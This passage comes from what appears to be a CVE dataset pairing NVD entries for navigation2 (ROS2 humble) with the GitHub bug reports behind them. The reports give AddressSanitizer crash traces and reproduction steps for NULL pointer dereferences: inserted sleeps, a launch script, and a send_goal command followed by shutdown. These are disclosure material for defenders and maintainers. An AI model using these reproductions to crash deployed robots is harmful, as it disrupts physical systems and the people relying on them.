nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43811c) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #4 0x7d687c4364c7 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >)::'lambda'()&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x4364c7) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #5 0x7d687c4202cd in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x4202cd) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #6 0x7d687c43fb44 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::FollowPath> >&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x43fb44) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #7 0x7d687c427b07 in rclcpp_action::Server<nav2_msgs::action::FollowPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x427b07) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #8 0x7d687d670246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T15 created by T0 here: #0 0x564d68df07cc in __interceptor_pthread_create (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/nav2_controller/controller_server+0x937cc) (BuildId: 515adbb6bba3b92bb8cf7f447df0b7df8eabaf6d) #1 0x7d687badc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7d687c4198a9 in nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x4198a9) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #3 0x7d687c2cddf6 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::FollowPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_controller::ControllerServer::* (nav2_controller::ControllerServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2cddf6) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #4 0x7d687c2816dc in nav2_controller::ControllerServer::on_configure(rclcpp_lifecycle::State const&) (/home/goes/ROS_Workstation/nav2_humble_experiment/install/nav2_controller/lib/libcontroller_server_core.so+0x2816dc) (BuildId: 3d1cba4663f7ad64d51cde8de1469cb94c8bbce0) #5 0x7d687d46d8ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==1299274==ABORTING ``` #### Additional information  ---- ##### stable reproduction for the bug: step 1. insert delay in `computeControl()` as following: ```cpp void ControllerServer::computeControl() { std::lock_guard<std::mutex> lock(dynamic_params_lock_); RCLCPP_INFO(get_logger(), "Received a goal, begin computing control effort."); //insert RCLCPP_INFO(get_logger(),"computeControl............................................"); std::this_thread::sleep_for(std::chrono::seconds(5)); RCLCPP_INFO(get_logger(),"stil---------------------------------------------------------"); // try { std::string c_name = action_server_->get_current_goal()->controller_id; ... ... ``` step 2. launch and send a Nav2Goal in Rviz GUI step 3. Then press Ctrl+C to let the system automatically execute deactivate() -> cleanup(), and then ASAN will appear. ##### the reason for this bug https://github.com/ros-navigation/navigation2/blob/a7c5b71e54c65556f59d32037a3484daf9361ca7/nav2_controller/src/controller_server.cpp#L420-L427 focus on the code line `std::string c_name = action_server_->get_current_goal()->controller_id;` It's similar with the ISSUE #4358 , caused by the `action_server_->get_current_goal()` might be a nullptr if the action_server_ has been inactivate. SO we need to check nullptr here as well

[nav2_controller] nullPtr bug during `comupteControl()`

https://api.github.com/repos/ros-navigation/navigation2/issues/4547/comments

0

2024-07-21T06:48:05Z

2024-07-22T17:05:48Z

https://github.com/ros-navigation/navigation2/issues/4547

2,421,255,890

4,547

6,458

CVE-2024-44854

2024-12-06T22:15:21.500

Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble was discovered to contain a NULL pointer dereference via the component smoothPlan().

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4538" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4544" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/ros-navigation/navigation2/issues/4538" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "476" ]

476

https://github.com/ros-navigation/navigation2/issues/4538

[ "Exploit", "Issue Tracking" ]

github.com

[ "ros-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  during my normal usage ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no NullPtr bug occured. #### Actual behavior the Asan report of this NullPtr bug is as following: ``` ================================================================= ==166818==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7187e491e19a bp 0x7187d75fc2d0 sp 0x7187d75f86a0 T13) ==166818==The signal is caused by a READ memory access. ==166818==Hint: address points to the zero page. #0 0x7187e491e19a in nav2_smoother::SmootherServer::smoothPlan() (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x11e19a) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #1 0x7187e49f0a93 in nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::work() (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1f0a93) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #2 0x7187e49efe04 in std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>::operator()() const (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1efe04) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #3 0x7187e49efb17 in std::enable_if<is_invocable_r_v<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>&>, std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> >::type std::__invoke_r<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter>, std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>&>(std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1efb17) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #4 0x7187e49ef958 in std::_Function_handler<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> (), std::__future_base::_Task_setter<std::unique_ptr<std::__future_base::_Result<void>, std::__future_base::_Result_base::_Deleter>, std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void> >::_M_invoke(std::_Any_data const&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1ef958) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #5 0x7187e5cf5b96 in std::__future_base::_State_baseV2::_M_do_set(std::function<std::unique_ptr<std::__future_base::_Result_base, std::__future_base::_Result_base::_Deleter> ()>*, bool*) (/home/***/nav2_ws/install/nav2_util/lib/libnav2_util_core.so+0x7fb96) (BuildId: 1d6c0d5217ab4e048e9a7919e1f2eabd3bac7da1) #6 0x7187e3e99ee7 in __pthread_once_slow nptl/./nptl/pthread_once.c:116:7 #7 0x7187e49ed521 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>::_M_run() (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1ed521) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #8 0x7187e42dc252 (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc252) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #9 0x7187e3e94ac2 in start_thread nptl/./nptl/pthread_create.c:442:8 #10 0x7187e3f2684f misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x11e19a) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) in nav2_smoother::SmootherServer::smoothPlan() Thread T13 created by T12 here: #0 0x5ce319b8a87c in __interceptor_pthread_create (/home/***/nav2_ws/install/nav2_smoother/lib/nav2_smoother/smoother_server+0x9387c) (BuildId: 5647db61db99952a548142c13b8b84d860f54c3b) #1 0x7187e42dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7187e49ece82 in std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>::_Async_state_impl<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()>(nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()&&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1ece82) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #3 0x7187e49ec628 in std::__shared_count<(__gnu_cxx::_Lock_policy)2>::__shared_count<std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>, std::allocator<void>, nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()>(std::__future_base::_Async_state_impl<std::thread::_Invoker<std::tuple<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()> >, void>*&, std::_Sp_alloc_shared_tag<std::allocator<void> >, nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()&&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1ec628) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #4 0x7187e49ea833 in std::future<std::__invoke_result<std::decay<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()>::type>::type> std::async<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()>(std::launch, nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >)::'lambda'()&&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1ea833) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #5 0x7187e49d3359 in nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::handle_accepted(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1d3359) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #6 0x7187e49f5b27 in void std::__invoke_impl<void, void (nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> > >(std::__invoke_memfun_deref, void (nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::*&)(std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >), nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>*&, std::shared_ptr<rclcpp_action::ServerGoalHandle<nav2_msgs::action::SmoothPath> >&&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1f5b27) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #7 0x7187e49daf36 in rclcpp_action::Server<nav2_msgs::action::SmoothPath>::call_goal_accepted_callback(std::shared_ptr<rcl_action_goal_handle_s>, std::array<unsigned char, 16ul>, std::shared_ptr<void>) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1daf36) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #8 0x7187e59f2246 in rclcpp_action::ServerBase::execute_goal_request_received(std::shared_ptr<void>&) (/opt/ros/humble/lib/librclcpp_action.so+0x13246) (BuildId: 4dfcc4cee7010878193255b3a622d5194654caa8) Thread T12 created by T0 here: #0 0x5ce319b8a87c in __interceptor_pthread_create (/home/***/nav2_ws/install/nav2_smoother/lib/nav2_smoother/smoother_server+0x9387c) (BuildId: 5647db61db99952a548142c13b8b84d860f54c3b) #1 0x7187e42dc328 in std::thread::_M_start_thread(std::unique_ptr<std::thread::_State, std::default_delete<std::thread::_State> >, void (*)()) (/lib/x86_64-linux-gnu/libstdc++.so.6+0xdc328) (BuildId: e37fe1a879783838de78cbc8c80621fa685d58a2) #2 0x7187e49cc7d5 in nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>::SimpleActionServer<std::shared_ptr<nav2_util::LifecycleNode> >(std::shared_ptr<nav2_util::LifecycleNode>, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::function<void ()>, std::function<void ()>, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool, rcl_action_server_options_s const&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x1cc7d5) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #3 0x7187e491d488 in std::__detail::_MakeUniq<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath> >::__single_object std::make_unique<nav2_util::SimpleActionServer<nav2_msgs::action::SmoothPath>, std::shared_ptr<nav2_util::LifecycleNode>, char const (&) [12], std::_Bind<void (nav2_smoother::SmootherServer::* (nav2_smoother::SmootherServer*))()>, std::nullptr_t, std::chrono::duration<long, std::ratio<1l, 1000l> >, bool>(std::shared_ptr<nav2_util::LifecycleNode>&&, char const (&) [12], std::_Bind<void (nav2_smoother::SmootherServer::* (nav2_smoother::SmootherServer*))()>&&, std::nullptr_t&&, std::chrono::duration<long, std::ratio<1l, 1000l> >&&, bool&&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x11d488) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #4 0x7187e4917f72 in nav2_smoother::SmootherServer::on_configure(rclcpp_lifecycle::State const&) (/home/***/nav2_ws/install/nav2_smoother/lib/libsmoother_server_core.so+0x117f72) (BuildId: 80891eed01337a00457782ceae8a233ce28b113c) #5 0x7187e57f38ec (/opt/ros/humble/lib/librclcpp_lifecycle.so+0x288ec) (BuildId: 97f6428dc1ee45fd402b522b3b8e6b4fcfeabe76) ==166818==ABORTING ``` #### Additional information  ---- ##### stable reproduction for the bug: step 1. insert delay in `smoothPlan()` as following: ```cpp void SmootherServer::smoothPlan() { auto start_time = this->now(); RCLCPP_INFO(get_logger(), "Received a path to smooth."); auto result = std::make_shared<Action::Result>(); try { std::string c_name = action_server_->get_current_goal()->smoother_id; std::string current_smoother; if (findSmootherId(c_name, current_smoother)) { current_smoother_ = current_smoother; } else { action_server_->terminate_current(); return; } // insert { RCLCPP_INFO(get_logger(), " smoothPlan() start------------------------------------------------" ); std::this_thread::sleep_for(std::chrono::seconds(3)); RCLCPP_INFO(get_logger(), " smoothPlan() still working------------------------------------------------" ); // // Perform smoothing auto goal = action_server_->get_current_goal(); result->path = goal->path; result->was_completed = smoothers_[current_smoother_]->smooth( result->path, goal->max_smoothing_duration); result->smoothing_duration = this->now() - start_time; if (!result->was_completed) { RCLCPP_INFO( get_logger(), "Smoother %s did not complete smoothing in specified time limit" "(%lf seconds) and was interrupted after %lf seconds", current_smoother_.c_str(), rclcpp::Duration(goal->max_smoothing_duration).seconds(), rclcpp::Duration(result->smoothing_duration).seconds()); } plan_publisher_->publish(result->path); } ``` step 2. launch and send the goal: ```sh ros2 action send_goal /smooth_path nav2_msgs/action/SmoothPath " check_for_collisions: true max_smoothing_duration: nanosec: 66586634 sec: 2818050 path: header: frame_id: map poses: - header: frame_id: map stamp: nanosec: 18186267 sec: 1711025911 pose: orientation: w: 0.714039336254295 x: 0.0 y: 0.000000 z: 0.7001055822385119 position: x: -1.4124970436096191 y: 0.7968802452087402 z: 0.0 - header: frame_id: map stamp: nanosec: 986243672 sec: -837341456 pose: orientation: w: 0.7725104999765416 x: 0.0 y: 0.0 z: -0.6350019900960892 position: x: 1.6625025272369385 y: 0.6656188368797302 z: 0.0 - header: frame_id: map stamp: nanosec: 690214053 sec: 1711026163 pose: orientation: w: 0.5592876984531523 x: 0.0 y: 0.0 z: -0.8289736246461499 position: x: 0.6187454462051392 y: -1.2281272411346436 z: 0.0 smoother_id: simple_smoother" ``` step 3. Then Ctrl+C to let the `nav2_smoother` automatically execute deactivate() -> cleanup(), and then ASAN will appear.

[nav2_smoother] nullptr bug during `smooth_plan()`

https://api.github.com/repos/ros-navigation/navigation2/issues/4538/comments

3

2024-07-16T20:02:08Z

2024-07-19T16:44:40Z

https://github.com/ros-navigation/navigation2/issues/4538

2,411,949,445

4,538

6,459

CVE-2024-44855

2024-12-06T22:15:21.630

Open Robotics Robotic Operating System 2 ROS2 navigation2 v.humble was discovered to contain a NULL pointer dereference via the component nav2_navfn_planner().

{ "cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/GoesM/ROS-CVE-CNVDs" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4466" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/ros-navigation/navigation2/pull/4463" }, { "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/open-navigation/navigation2/issues/4466" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:humble:*:*:*:*:*:*", "matchCriteriaId": "0ADE698F-A518-4691-A7FA-2DEE8C079361", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:openrobotics:robot_operating_system:2:iron:*:*:*:*:*:*", "matchCriteriaId": "D710838C-3A7E-4BFA-BD6D-02C38627BB7E", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "476" ]

476

https://github.com/open-navigation/navigation2/issues/4466

[ "Exploit", "Issue Tracking" ]

github.com

[ "open-navigation", "navigation2" ]

## Bug report **Required Info:** - Operating System: -  ubuntu 22.04 - ROS2 Version: -  humble OR Iron - Version or commit hash: -  the latest - DDS implementation: -  the defaulted #### Steps to reproduce issue  Launch the navigation2 as following steps: ```sh #!/bin/bash export ASAN_OPTIONS=halt_on_error=0:new_delete_type_mismatch=0:detect_leaks=0:log_pah=asan source install/setup.bash export TURTLEBOT3_MODEL=waffle export GAZEBO_MODEL_PATH=$GAZEBO_MODEL_PATH:/opt/ros/humble/share/turtlebot3_gazebo/models ros2 launch nav2_bringup tb3_simulation_launch.py headless:=True use_rviz:=False use_composition:=False ``` #### Expected behavior no bug occured. #### Actual behavior the Asan report of this bug is as following: ``` ================================================================= ==1073701==ERROR: AddressSanitizer: SEGV on unknown address 0x00000001164b (pc 0x7466da520cda bp 0x7466da0eed10 sp 0x7466c9070298 T34) ==1073701==The signal is caused by a WRITE memory access. #1 0x7466d670d21f in nav2_navfn_planner::NavfnPlanner::makePlan(geometry_msgs::msg::Pose_<std::allocator<void> > const&, geometry_msgs::msg::Pose_<std::allocator<void> > const&, double, nav_msgs::msg::Path_<std::allocator<void> >&) (/home/*****/nav2_humble/install/nav2_navfn_planner/lib/libnav2_navfn_planner.so+0xd21f) (BuildId: b1e5753b18f33b46dab7d58e6194ddc8a97af59a) #2 0x7466d670cbd1 in nav2_navfn_planner::NavfnPlanner::createPlan(geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&, geometry_msgs::msg::PoseStamped_<std::allocator<void> > const&) 